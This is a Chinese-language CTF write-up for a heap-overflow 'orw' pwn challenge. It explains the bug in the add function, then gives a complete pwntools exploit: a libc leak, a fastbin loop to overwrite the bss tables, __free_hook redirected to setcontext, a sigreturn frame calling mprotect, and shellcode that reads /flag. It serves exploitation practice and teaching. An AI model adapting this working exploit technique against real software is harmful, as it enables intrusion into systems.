一个有写溢出,禁用了execve的 orw题
程序没有开PIE,就可以在bss里随便搞了
漏洞点在add函数,当申请一个超过0x20的块时会建一个0x20的块,但可以按输入size写入,造成溢出。这个溢出很大,可以搞的东西很多。这时候不会写size和指针,只建个块。
int m1add()
{
int result; // eax
void *buf; // [rsp+0h] [rbp-10h] BYREF
size_t size; // [rsp+8h] [rbp-8h]
buf = 0LL;
size = 0LL;
qword_602A00 = (int)readint("Index: ");
if ( *((_QWORD *)&unk_602A70 + qword_602A00) )
return puts("can't use this index\n");
if ( (unsigned __int64)qword_602A00 > 4 )
{
puts("Index too large");
exit(1);
}
size = (int)readint("Length: ");
if ( size > 0x20 )
{
puts("message too long, you can leave on memo though");
buf = malloc(0x20uLL);
read(0, buf, size); // 写溢出
result = sub_4009D9();
}
else
{
buf = malloc(size);
printf("Message: ");
read(0, buf, size);
*((_QWORD *)&unk_602A70 + qword_602A00) = buf;
*((_QWORD *)&unk_602A70 + qword_602A00 + 5) = &buf;
dword_602A60[qword_602A00] = size;
result = puts(&s);
}
return result;
}
主要步骤:
- 先建5个块(最多5个)第5个写大尺寸,只建个块不写指针和size(以免覆盖0块的指针)
- 将0块释放后再建大块通过写溢出修改1块的头,为0x91,再释放1块进入unsort
- 建1块,这时unsortbins的fd,bk在2块上,show(2)得到libc
- 再建0块,这时0和2重叠,依次释放0,1,2得到fastbin loop
- 写入0x602a50,0,0,XXXXX控制size和ptr数组区。这里将size数组值改大以便后边通过指针修改数据。指针改写为0x602b00(bss里的一块可以空白区域),free_hook-0x10
- ======下边开始整orw======
- 修改free_hook为setcontext+53,后边是free_hook+0x18两个,和shellcode1
- 把sigreturn frame写到bss里的区域
- 释放sigreturn frame 这时候由于free_hook已劫持会调用setcontext将free_hook所在块设为读写执行权限,然后读入shellcode(orw)执行
- 最后将shellcode写入
完整exp:
from pwn import *
'''
patchelf --set-interpreter /home/shi/pwn/libc6_2.23/ld-2.23.so pwn
patchelf --add-needed /home/shi/pwn/libc6_2.23/libc-2.23.so pwn
'''
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
libc_start_main_ret = 0x20840
else:
p = remote('node4.buuoj.cn', 25236)
libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF('./pwn')
context.arch = 'amd64'
menu = b'>> '
def add(idx, size, msg):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendlineafter(b"Length: ", str(size).encode())
p.send(msg)
def edit(idx, msg):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendlineafter(menu, b'2')
p.sendafter(b"Edit message: ", msg)
def show(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Index: ", str(idx).encode())
def free(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Index: ", str(idx).encode())
context.log_level = 'debug'
p.sendlineafter(b"What's user name: ", b'A')
p.sendlineafter(b'Do you wanna set password? (y/n) ', b'y')
p.sendlineafter(b"Password: ", flat(0,0,0,0x31))
#1,leak libc
[add(i,0x20, b'A') for i in range(4)]
add(4, 0x80, b'A') #这个不写size和ptr只为防止unsort与top_chunk合并
free(0)
add(0, 0x30, flat(0,0,0,0,0,0x91))
free(1)
add(1, 0x20, b'A'*8)
show(2)
p.recvuntil(b"View Message: ")
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x58 -0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
free_hook = libc_elf.sym['__free_hook']
setcontext = libc_elf.sym['setcontext']
print('libc:', hex(libc_base))
#2, ptr_table
add(0, 0x20, b'A') #0=2
free(0)
free(1)
free(2)
add(0, 0x20, p64(0x602a50))
add(1, 0x30, b'A')
add(1, 0x30, b'A')
add(1, 0x80, p32(0x1000)*4 + p64(0x602b00) + p64(free_hook -0x10 ) + p64(0x602a70))
#3, free_hook->setcontext+53
new_addr = free_hook & 0xfffffffffffff000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % new_addr
edit(1, b'a'*0x10 + p64(setcontext+53)+p64(free_hook+0x18)*2 + asm(shellcode1))
#4, setcontext(frame)
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_elf.sym['mprotect']
edit(0, flat(frame))
free(0)
#5, orw, shell
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
p.sendline(asm(shellcode2))
p.recv()
p.interactive()
有个小坑,edit不让输入idx,可以在add里输入再出来就不用输了。
另外程序有个后门,作完了才发现。不过setcontext的模板用着也方便,以后没有的时候正好用(自加难度了)。